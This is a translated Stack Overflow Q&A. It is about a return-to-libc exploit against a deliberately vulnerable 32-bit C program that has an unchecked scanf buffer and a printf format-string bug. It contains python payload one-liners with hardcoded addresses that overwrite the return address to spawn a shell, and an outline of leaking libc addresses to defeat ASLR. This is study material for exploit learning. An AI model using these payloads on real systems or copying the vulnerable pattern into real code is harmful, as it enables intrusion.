返回到libc攻击

5
我正在尝试使用格式化字符串攻击向量,在下面的代码中实现返回libc攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

我使用gdb命令中的p system找到了system()函数的地址。然后通过使用x/500s $esp检查栈帧,发现了包含\bin\sh的环境变量地址。

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

有了这些准备工作,我构建了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

其中 0xffffcdbc - 0x4 是包含系统地址 0xf7e2cda0 值的本地地址。

我使用 gcc -m32 -fno-stack-protector -o sh sh.c 编译了程序,并使用 gdb sh 运行它。在执行时,当输入 r<inp 时,我得到如下输出:

gdb_output

如上所示,有一些错误命令被显示出来,只有再次运行r命令后才能进入shell。请问有人可以解释一下我在这里错过了什么,以便我直接进入shell吗?

此外,当我尝试通过偏移gdb地址而不使用gdb来执行上述程序(即通过 ./sh < inp)时,我会收到一个分段错误。我认为一旦上述问题得到纠正,就可以解决这个问题。

请给出一个完整的工作利用程序的答案——大多数在线教程使用argv[1]来解释类似的问题,但我希望在不使用参数的情况下使利用程序工作。

谢谢!


如果没有上述问题的解决方案,任何适用于上述程序的工作利用字符串也是有帮助的! - re3el
1
给那位匿名下投票却没有留言或回复的人 - 请知道在发布问题之前,我已经花费了一些时间来精心准备,确保所有内容都易于阅读。请不要随意地对问题进行投票! - re3el
你期望的是/bin/bash还是/bin/dash - ntshetty
我有环境变量 location,指向 /bin/bash,但据我了解,在 gdb 中,它会被解释为 /bin/dash。无论如何,如果我能有一个适用于上述代码的工作漏洞利用,那就太好了。 - re3el
好的,你有注意到这个吗? - ntshetty
是的,我刚刚正在研究它。在使用来自libc库空间的“/bin/sh”字符串时问题仍然存在。 - re3el
2个回答

3

首先,您正在构造一个纯栈溢出,而不是格式化字符串载荷。

即使其参数无效,libc函数system()也可以在gdb中工作。例如,调用system("asdasd")仍然会在gdb中给您一个shell(带有弹出的错误消息,这就是您看到的),因此您的负载基本上没有正确定位/bin/sh

您应该在system地址和/bin/sh地址之间放置填充(许多pwn初学者会忘记这一点),例如:

print 'A'*padding_to_ret + addr_system + padding + addr_binsh

对于x86调用约定,一旦函数被调用,参数会被推送,接下来是返回地址,因此当ROP链将system作为返回值时,$esp现在指向padding的位置,所以参数/bin/sh$ebp+0x4)应该紧跟着padding
对于你提到的要构建一个没有argv帮助的有效载荷,是可能的,但您需要有机会泄漏libc地址以打败ASLR,以获取/bin/sh的地址(您可以在libc中找到此字符串)。
以提供的代码为例:
  1. scanf("%s, &a)
    • 构造像%x%x%9$x这样的内容,以便为下一个printf泄漏堆栈上的某些libc地址。
    • 通过覆盖main函数的返回地址完成下一轮读取操作。
  2. printf(a)
    • 接收泄漏地址,计算出libc基址和其他有用的函数,如system_addr = libc_addr + system_offset
  3. scanf("%s, &a)
    • 现在你知道了system/bin/sh的地址,构造上面的ROP链以获取控制权。

1
我已经在addr_system和/bin/sh地址之间插入了填充(\xd0\x09\xe2\xf7 -> 退出地址)。我假设你提到的填充长度为4字节,这正是我已经有的。 - re3el

1

经过几天的研究,我终于找到了问题所在。问题不是 /bin/sh 字符串的地址错误,也不是你只需要从 libc 库获取 \ bin \ sh 字符串地址位置即可使其工作,而是你需要在放置字符串的地址末尾添加一个4字节的 nop sled。因此,本质上,我的攻击字符串将会像这样

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

在你直接将/bin/sh写入缓冲区的情况下,以下字符串可以起到作用。
python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

在缓冲区的\x84\xce\xff\xff位置存储了\x5c\x73\x68\bin\sh的十六进制)。

注意:有时您写入特定位置的地址不会显示出来。在这些情况下,您应该进行填充以确保所有内容都存储在其各自的位置上。


有意思,在你的第一个解决方案中,可以在“system”处设置断点,以查看它的参数是什么? - poming

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接